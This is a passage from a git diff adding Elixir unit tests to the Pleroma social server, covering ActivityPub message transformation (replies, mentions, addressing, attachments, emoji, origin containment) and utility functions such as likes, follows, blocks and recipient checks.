old_user.ap_id + assert activity.data["target"] == new_user.ap_id + assert activity.data["type"] == "Move" + end + end + + describe "`handle_incoming/2`, Mastodon format `replies` handling" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 5) + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + data = + "test/fixtures/mastodon-post-activity.json" + |> File.read!() + |> Poison.decode!() + + items = get_in(data, ["object", "replies", "first", "items"]) + assert length(items) > 0 + + %{data: data, items: items} + end + + test "schedules background fetching of `replies` items if max thread depth limit allows", %{ + data: data, + items: items + } do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 10) + + {:ok, _activity} = Transmogrifier.handle_incoming(data) + + for id <- items do + job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} + assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) + end + end + + test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", + %{data: data} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + {:ok, _activity} = Transmogrifier.handle_incoming(data) + + assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] + end + end + + describe "`handle_incoming/2`, Pleroma format `replies` handling" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 5) + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "post1"}) + + {:ok, reply1} = + CommonAPI.post(user, %{status: "reply1", in_reply_to_status_id: activity.id}) + + {:ok, reply2} = + CommonAPI.post(user, %{status: "reply2", in_reply_to_status_id: activity.id}) + + replies_uris = Enum.map([reply1, reply2], fn a -> a.object.data["id"] end) + + {:ok, federation_output} = Transmogrifier.prepare_outgoing(activity.data) + + Repo.delete(activity.object) + Repo.delete(activity) + + %{federation_output: federation_output, replies_uris: replies_uris} + end + + test "schedules background fetching of `replies` items if max thread depth limit allows", %{ + federation_output: federation_output, + replies_uris: replies_uris + } do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 1) + + {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) + + for id <- replies_uris do + job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} + assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) + end + end + + test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", + %{federation_output: federation_output} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) + + assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] + end + end + + describe "prepare outgoing" do + test "it inlines private announced objects" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey", visibility: "private"}) + + {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) + + {:ok, modified} = Transmogrifier.prepare_outgoing(announce_activity.data) + + assert modified["object"]["content"] == "hey" + assert modified["object"]["actor"] == modified["object"]["attributedTo"] + end + + test "it turns mentions into tags" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "hey, @#{other_user.nickname}, how are ya? #2hu"}) + + with_mock Pleroma.Notification, + get_notified_from_activity: fn _, _ -> [] end do + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + object = modified["object"] + + expected_mention = %{ + "href" => other_user.ap_id, + "name" => "@#{other_user.nickname}", + "type" => "Mention" + } + + expected_tag = %{ + "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", + "type" => "Hashtag", + "name" => "#2hu" + } + + refute called(Pleroma.Notification.get_notified_from_activity(:_, :_)) + assert Enum.member?(object["tag"], expected_tag) + assert Enum.member?(object["tag"], expected_mention) + end + end + + test "it adds the sensitive property" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#nsfw hey"}) + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["object"]["sensitive"] + end + + test "it adds the json-ld context and the conversation property" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["@context"] == + Pleroma.Web.ActivityPub.Utils.make_json_ld_header()["@context"] + + assert modified["object"]["conversation"] == modified["context"] + end + + test "it sets the 'attributedTo' property to the actor of the object if it doesn't have one" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["object"]["actor"] == modified["object"]["attributedTo"] + end + + test "it strips internal hashtag data" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#2hu"}) + + expected_tag = %{ + "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", + "type" => "Hashtag", + "name" => "#2hu" + } + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["object"]["tag"] == [expected_tag] + end + + test "it strips internal fields" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#2hu :firefox:"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert length(modified["object"]["tag"]) == 2 + + assert is_nil(modified["object"]["emoji"]) + assert is_nil(modified["object"]["like_count"]) + assert is_nil(modified["object"]["announcements"]) + assert is_nil(modified["object"]["announcement_count"]) + assert is_nil(modified["object"]["context_id"]) + end + + test "it strips internal fields of article" do + activity = insert(:article_activity) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert length(modified["object"]["tag"]) == 2 + + assert is_nil(modified["object"]["emoji"]) + assert is_nil(modified["object"]["like_count"]) + assert is_nil(modified["object"]["announcements"]) + assert is_nil(modified["object"]["announcement_count"]) + assert is_nil(modified["object"]["context_id"]) + assert is_nil(modified["object"]["likes"]) + end + + test "the directMessage flag is present" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "2hu :moominmamma:"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["directMessage"] == false + + {:ok, activity} = CommonAPI.post(user, %{status: "@#{other_user.nickname} :moominmamma:"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["directMessage"] == false + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} :moominmamma:", + visibility: "direct" + }) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["directMessage"] == true + end + + test "it strips BCC field" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert is_nil(modified["bcc"]) + end + + test "it can handle Listen activities" do + listen_activity = insert(:listen) + + {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data) + + assert modified["type"] == "Listen" + + user = insert(:user) + + {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"}) + + {:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data) + end + end + + describe "user upgrade" do + test "it upgrades a user to activitypub" do + user = + insert(:user, %{ + nickname: "rye@niu.moe", + local: false, + ap_id: "https://niu.moe/users/rye", + follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) + }) + + user_two = insert(:user) + Pleroma.FollowingRelationship.follow(user_two, user, :follow_accept) + + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + {:ok, unrelated_activity} = CommonAPI.post(user_two, %{status: "test"}) + assert "http://localhost:4001/users/rye@niu.moe/followers" in activity.recipients + + user = User.get_cached_by_id(user.id) + assert user.note_count == 1 + + {:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye") + ObanHelpers.perform_all() + + assert user.ap_enabled + assert user.note_count == 1 + assert user.follower_address == "https://niu.moe/users/rye/followers" + assert user.following_address == "https://niu.moe/users/rye/following" + + user = User.get_cached_by_id(user.id) + assert user.note_count == 1 + + activity = Activity.get_by_id(activity.id) + assert user.follower_address in activity.recipients + + assert %{ + "url" => [ + %{ + "href" => + "https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" + } + ] + } = user.avatar + + assert %{ + "url" => [ + %{ + "href" => + "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" + } + ] + } = user.banner + + refute "..." in activity.recipients + + unrelated_activity = Activity.get_by_id(unrelated_activity.id) + refute user.follower_address in unrelated_activity.recipients + + user_two = User.get_cached_by_id(user_two.id) + assert User.following?(user_two, user) + refute "..." in User.following(user_two) + end + end + + describe "actor rewriting" do + test "it fixes the actor URL property to be a proper URI" do + data = %{ + "url" => %{"href" => "http://example.com"} + } + + rewritten = Transmogrifier.maybe_fix_user_object(data) + assert rewritten["url"] == "http://example.com" + end + end + + describe "actor origin containment" do + test "it rejects activities which reference objects with bogus origins" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://mastodon.example.org/users/admin/activities/1234", + "actor" => "http://mastodon.example.org/users/admin", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => "https://info.pleroma.site/activity.json", + "type" => "Announce" + } + + assert capture_log(fn -> + {:error, _} = Transmogrifier.handle_incoming(data) + end) =~ "Object containment failed" + end + + test "it rejects activities which reference objects that have an incorrect attribution (variant 1)" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://mastodon.example.org/users/admin/activities/1234", + "actor" => "http://mastodon.example.org/users/admin", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => "https://info.pleroma.site/activity2.json", + "type" => "Announce" + } + + assert capture_log(fn -> + {:error, _} = Transmogrifier.handle_incoming(data) + end) =~ "Object containment failed" + end + + test "it rejects activities which reference objects that have an incorrect attribution (variant 2)" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://mastodon.example.org/users/admin/activities/1234", + "actor" => "http://mastodon.example.org/users/admin", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => "https://info.pleroma.site/activity3.json", + "type" => "Announce" + } + + assert capture_log(fn -> + {:error, _} = Transmogrifier.handle_incoming(data) + end) =~ "Object containment failed" + end + end + + describe "reserialization" do + test "successfully reserializes a message with inReplyTo == nil" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Create", + "object" => %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Note", + "content" => "Hi", + "inReplyTo" => nil, + "attributedTo" => user.ap_id + }, + "actor" => user.ap_id + } + + {:ok, activity} = Transmogrifier.handle_incoming(message) + + {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) + end + + test "successfully reserializes a message with AS2 objects in IR" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Create", + "object" => %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Note", + "content" => "Hi", + "inReplyTo" => nil, + "attributedTo" => user.ap_id, + "tag" => [ + %{"name" => "#2hu", "href" => "http://example.com/2hu", "type" => "Hashtag"}, + %{"name" => "Bob", "href" => "http://example.com/bob", "type" => "Mention"} + ] + }, + "actor" => user.ap_id + } + + {:ok, activity} = Transmogrifier.handle_incoming(message) + + {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) + end + end + + describe "fix_explicit_addressing" do + setup do + user = insert(:user) + [user: user] + end + + test "moves non-explicitly mentioned actors to cc", %{user: user} do + explicitly_mentioned_actors = [ + "https://pleroma.gold/users/user1", + "https://pleroma.gold/user2" + ] + + object = %{ + "actor" => user.ap_id, + "to" => explicitly_mentioned_actors ++ ["https://social.beepboop.ga/users/dirb"], + "cc" => [], + "tag" => + Enum.map(explicitly_mentioned_actors, fn href -> + %{"type" => "Mention", "href" => href} + end) + } + + fixed_object = Transmogrifier.fix_explicit_addressing(object) + assert Enum.all?(explicitly_mentioned_actors, &(&1 in fixed_object["to"])) + refute "https://social.beepboop.ga/users/dirb" in fixed_object["to"] + assert "https://social.beepboop.ga/users/dirb" in fixed_object["cc"] + end + + test "does not move actor's follower collection to cc", %{user: user} do + object = %{ + "actor" => user.ap_id, + "to" => [user.follower_address], + "cc" => [] + } + + fixed_object = Transmogrifier.fix_explicit_addressing(object) + assert user.follower_address in fixed_object["to"] + refute user.follower_address in fixed_object["cc"] + end + + test "removes recipient's follower collection from cc", %{user: user} do + recipient = insert(:user) + + object = %{ + "actor" => user.ap_id, + "to" => [recipient.ap_id, "https://www.w3.org/ns/activitystreams#Public"], + "cc" => [user.follower_address, recipient.follower_address] + } + + fixed_object = Transmogrifier.fix_explicit_addressing(object) + + assert user.follower_address in fixed_object["cc"] + refute recipient.follower_address in fixed_object["cc"] + refute recipient.follower_address in fixed_object["to"] + end + end + + describe "fix_summary/1" do + test "returns fixed object" do + assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} + assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} + assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} + end + end + + describe "fix_in_reply_to/2" do + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + [data: data] + end + + test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do + assert Transmogrifier.fix_in_reply_to(data) == data + end + + test "returns object with inReplyTo when denied incoming reply", %{data: data} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + object_with_reply = + Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" + + object_with_reply = + Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} + + object_with_reply = + Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] + + object_with_reply = Map.put(data["object"], "inReplyTo", []) + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == [] + end + + @tag capture_log: true + test "returns modified object when allowed incoming reply", %{data: data} do + object_with_reply = + Map.put( + data["object"], + "inReplyTo", + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) + + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + + assert modified_object["inReplyTo"] == + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + + assert modified_object["context"] == + "tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4" + end + end + + describe "fix_url/1" do + test "fixes data for object when url is map" do + object = %{ + "url" => %{ + "type" => "Link", + "mimeType" => "video/mp4", + "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + } + } + + assert Transmogrifier.fix_url(object) == %{ + "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + } + end + + test "returns non-modified object" do + assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} + end + end + + describe "get_obj_helper/2" do + test "returns nil when cannot normalize object" do + assert capture_log(fn -> + refute Transmogrifier.get_obj_helper("test-obj-id") + end) =~ "Unsupported URI scheme" + end + + @tag capture_log: true + test "returns {:ok, %Object{}} for success case" do + assert {:ok, %Object{}} = + Transmogrifier.get_obj_helper( + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) + end + end + + describe "fix_attachments/1" do + test "returns not modified object" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.fix_attachments(data) == data + end + + test "returns modified object when attachment is map" do + assert Transmogrifier.fix_attachments(%{ + "attachment" => %{ + "mediaType" => "video/mp4", + "url" => "https://peertube.moe/stat-480.mp4" + } + }) == %{ + "attachment" => [ + %{ + "mediaType" => "video/mp4", + "type" => "Document", + "url" => [ + %{ + "href" => "https://peertube.moe/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + } + end + + test "returns modified object when attachment is list" do + assert Transmogrifier.fix_attachments(%{ + "attachment" => [ + %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, + %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} + ] + }) == %{ + "attachment" => [ + %{ + "mediaType" => "video/mp4", + "type" => "Document", + "url" => [ + %{ + "href" => "https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + }, + %{ + "mediaType" => "video/mp4", + "type" => "Document", + "url" => [ + %{ + "href" => "https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + } + end + end + + describe "fix_emoji/1" do + test "returns not modified object when object not contains tags" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.fix_emoji(data) == data + end + + test "returns object with emoji when object contains list tags" do + assert Transmogrifier.fix_emoji(%{ + "tag" => [ + %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, + %{"type" => "Hashtag"} + ] + }) == %{ + "emoji" => %{"bib" => "/test"}, + "tag" => [ + %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, + %{"type" => "Hashtag"} + ] + } + end + + test "returns object with emoji when object contains map tag" do + assert Transmogrifier.fix_emoji(%{ + "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} + }) == %{ + "emoji" => %{"bib" => "/test"}, + "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} + } + end + end + + describe "set_replies/1" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 2) + + test "returns unmodified object if activity doesn't have self-replies" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.set_replies(data) == data + end + + test "sets `replies` collection with a limited number of self-replies" do + [user, another_user] = insert_list(2, :user) + + {:ok, %{id: id1} = activity} = CommonAPI.post(user, %{status: "1"}) + + {:ok, %{id: id2} = self_reply1} = + CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: id1}) + + {:ok, self_reply2} = + CommonAPI.post(user, %{status: "self-reply 2", in_reply_to_status_id: id1}) + + # Assuming to _not_ be present in `replies` due to :note_replies_output_limit is set to 2 + {:ok, _} = CommonAPI.post(user, %{status: "self-reply 3", in_reply_to_status_id: id1}) + + {:ok, _} = + CommonAPI.post(user, %{ + status: "self-reply to self-reply", + in_reply_to_status_id: id2 + }) + + {:ok, _} = + CommonAPI.post(another_user, %{ + status: "another user's reply", + in_reply_to_status_id: id1 + }) + + object = Object.normalize(activity) + replies_uris = Enum.map([self_reply1, self_reply2], fn a -> a.object.data["id"] end) + + assert %{"type" => "Collection", "items" => ^replies_uris} = + Transmogrifier.set_replies(object.data)["replies"] + end + end + + test "take_emoji_tags/1" do + user = insert(:user, %{emoji: %{"firefox" => "https://example.org/firefox.png"}}) + + assert Transmogrifier.take_emoji_tags(user) == [ + %{ + "icon" => %{"type" => "Image", "url" => "https://example.org/firefox.png"}, + "id" => "https://example.org/firefox.png", + "name" => ":firefox:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + end +end diff --git a/test/pleroma/web/activity_pub/utils_test.exs b/test/pleroma/web/activity_pub/utils_test.exs new file mode 100644 index 000000000..d50213545 --- /dev/null +++ b/test/pleroma/web/activity_pub/utils_test.exs @@ -0,0 +1,548 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.UtilsTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + require Pleroma.Constants + + describe "fetch the latest Follow" do + test "fetches the latest Follow activity" do + %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) + follower = User.get_cached_by_ap_id(activity.data["actor"]) + followed = User.get_cached_by_ap_id(activity.data["object"]) + + assert activity == Utils.fetch_latest_follow(follower, followed) + end + end + + describe "determine_explicit_mentions()" do + test "works with an object that has mentions" do + object = %{ + "tag" => [ + %{ + "type" => "Mention", + "href" => "https://example.com/~alyssa", + "name" => "Alyssa P. Hacker" + } + ] + } + + assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] + end + + test "works with an object that does not have mentions" do + object = %{ + "tag" => [ + %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} + ] + } + + assert Utils.determine_explicit_mentions(object) == [] + end + + test "works with an object that has mentions and other tags" do + object = %{ + "tag" => [ + %{ + "type" => "Mention", + "href" => "https://example.com/~alyssa", + "name" => "Alyssa P. Hacker" + }, + %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} + ] + } + + assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] + end + + test "works with an object that has no tags" do + object = %{} + + assert Utils.determine_explicit_mentions(object) == [] + end + + test "works with an object that has only IR tags" do + object = %{"tag" => ["2hu"]} + + assert Utils.determine_explicit_mentions(object) == [] + end + + test "works with an object has tags as map" do + object = %{ + "tag" => %{ + "type" => "Mention", + "href" => "https://example.com/~alyssa", + "name" => "Alyssa P. Hacker" + } + } + + assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] + end + end + + describe "make_like_data" do + setup do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + [user: user, other_user: other_user, third_user: third_user] + end + + test "addresses actor's follower address if the activity is public", %{ + user: user, + other_user: other_user, + third_user: third_user + } do + expected_to = Enum.sort([user.ap_id, other_user.follower_address]) + expected_cc = Enum.sort(["https://www.w3.org/ns/activitystreams#Public", third_user.ap_id]) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "hey @#{other_user.nickname}, @#{third_user.nickname} how about beering together this weekend?" + }) + + %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) + assert Enum.sort(to) == expected_to + assert Enum.sort(cc) == expected_cc + end + + test "does not adress actor's follower address if the activity is not public", %{ + user: user, + other_user: other_user, + third_user: third_user + } do + expected_to = Enum.sort([user.ap_id]) + expected_cc = [third_user.ap_id] + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} @#{third_user.nickname} bought a new swimsuit!", + visibility: "private" + }) + + %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) + assert Enum.sort(to) == expected_to + assert Enum.sort(cc) == expected_cc + end + end + + test "make_json_ld_header/0" do + assert Utils.make_json_ld_header() == %{ + "@context" => [ + "https://www.w3.org/ns/activitystreams", + "http://localhost:4001/schemas/litepub-0.1.jsonld", + %{ + "@language" => "und" + } + ] + } + end + + describe "get_existing_votes" do + test "fetches existing votes" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "How do I pronounce LaTeX?", + poll: %{ + options: ["laytekh", "lahtekh", "latex"], + expires_in: 20, + multiple: true + } + }) + + object = Object.normalize(activity) + {:ok, votes, object} = CommonAPI.vote(other_user, object, [0, 1]) + assert Enum.sort(Utils.get_existing_votes(other_user.ap_id, object)) == Enum.sort(votes) + end + + test "fetches only Create activities" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Are we living in a society?", + poll: %{ + options: ["yes", "no"], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + {:ok, [vote], object} = CommonAPI.vote(other_user, object, [0]) + {:ok, _activity} = CommonAPI.favorite(user, activity.id) + [fetched_vote] = Utils.get_existing_votes(other_user.ap_id, object) + assert fetched_vote.id == vote.id + end + end + + describe "update_follow_state_for_all/2" do + test "updates the state of all Follow activities with the same actor and object" do + user = insert(:user, locked: true) + follower = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + + data = + follow_activity_two.data + |> Map.put("state", "accept") + + cng = Ecto.Changeset.change(follow_activity_two, data: data) + + {:ok, follow_activity_two} = Repo.update(cng) + + {:ok, follow_activity_two} = + Utils.update_follow_state_for_all(follow_activity_two, "accept") + + assert refresh_record(follow_activity).data["state"] == "accept" + assert refresh_record(follow_activity_two).data["state"] == "accept" + end + end + + describe "update_follow_state/2" do + test "updates the state of the given follow activity" do + user = insert(:user, locked: true) + follower = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + + data = + follow_activity_two.data + |> Map.put("state", "accept") + + cng = Ecto.Changeset.change(follow_activity_two, data: data) + + {:ok, follow_activity_two} = Repo.update(cng) + + {:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject") + + assert refresh_record(follow_activity).data["state"] == "pending" + assert refresh_record(follow_activity_two).data["state"] == "reject" + end + end + + describe "update_element_in_object/3" do + test "updates likes" do + user = insert(:user) + activity = insert(:note_activity) + object = Object.normalize(activity) + + assert {:ok, updated_object} = + Utils.update_element_in_object( + "like", + [user.ap_id], + object + ) + + assert updated_object.data["likes"] == [user.ap_id] + assert updated_object.data["like_count"] == 1 + end + end + + describe "add_like_to_object/2" do + test "add actor to likes" do + user = insert(:user) + user2 = insert(:user) + object = insert(:note) + + assert {:ok, updated_object} = + Utils.add_like_to_object( + %Activity{data: %{"actor" => user.ap_id}}, + object + ) + + assert updated_object.data["likes"] == [user.ap_id] + assert updated_object.data["like_count"] == 1 + + assert {:ok, updated_object2} = + Utils.add_like_to_object( + %Activity{data: %{"actor" => user2.ap_id}}, + updated_object + ) + + assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id] + assert updated_object2.data["like_count"] == 2 + end + end + + describe "remove_like_from_object/2" do + test "removes ap_id from likes" do + user = insert(:user) + user2 = insert(:user) + object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2}) + + assert {:ok, updated_object} = + Utils.remove_like_from_object( + %Activity{data: %{"actor" => user.ap_id}}, + object + ) + + assert updated_object.data["likes"] == [user2.ap_id] + assert updated_object.data["like_count"] == 1 + end + end + + describe "get_existing_like/2" do + test "fetches existing like" do + note_activity = insert(:note_activity) + assert object = Object.normalize(note_activity) + + user = insert(:user) + refute Utils.get_existing_like(user.ap_id, object) + {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) + + assert ^like_activity = Utils.get_existing_like(user.ap_id, object) + end + end + + describe "get_get_existing_announce/2" do + test "returns nil if announce not found" do + actor = insert(:user) + refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}}) + end + + test "fetches existing announce" do + note_activity = insert(:note_activity) + assert object = Object.normalize(note_activity) + actor = insert(:user) + + {:ok, announce} = CommonAPI.repeat(note_activity.id, actor) + assert Utils.get_existing_announce(actor.ap_id, object) == announce + end + end + + describe "fetch_latest_block/2" do + test "fetches last block activities" do + user1 = insert(:user) + user2 = insert(:user) + + assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) + assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) + assert {:ok, %Activity{} = activity} = CommonAPI.block(user1, user2) + + assert Utils.fetch_latest_block(user1, user2) == activity + end + end + + describe "recipient_in_message/3" do + test "returns true when recipient in `to`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"to" => [recipient.ap_id], "cc" => ""} + ) + end + + test "returns true when recipient in `cc`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"cc" => [recipient.ap_id], "to" => ""} + ) + end + + test "returns true when recipient in `bto`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"bcc" => "", "bto" => [recipient.ap_id]} + ) + end + + test "returns true when recipient in `bcc`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"bto" => "", "bcc" => [recipient.ap_id]} + ) + end + + test "returns true when message without addresses fields" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"btod" => "", "bccc" => [recipient.ap_id]} + ) + end + + test "returns false" do + recipient = insert(:user) + actor = insert(:user) + refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"}) + end + end + + describe "lazy_put_activity_defaults/2" do + test "returns map with id and published data" do + note_activity = insert(:note_activity) + object = Object.normalize(note_activity) + res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]}) + assert res["context"] == object.data["id"] + assert res["context_id"] == object.id + assert res["id"] + assert res["published"] + end + + test "returns map with fake id 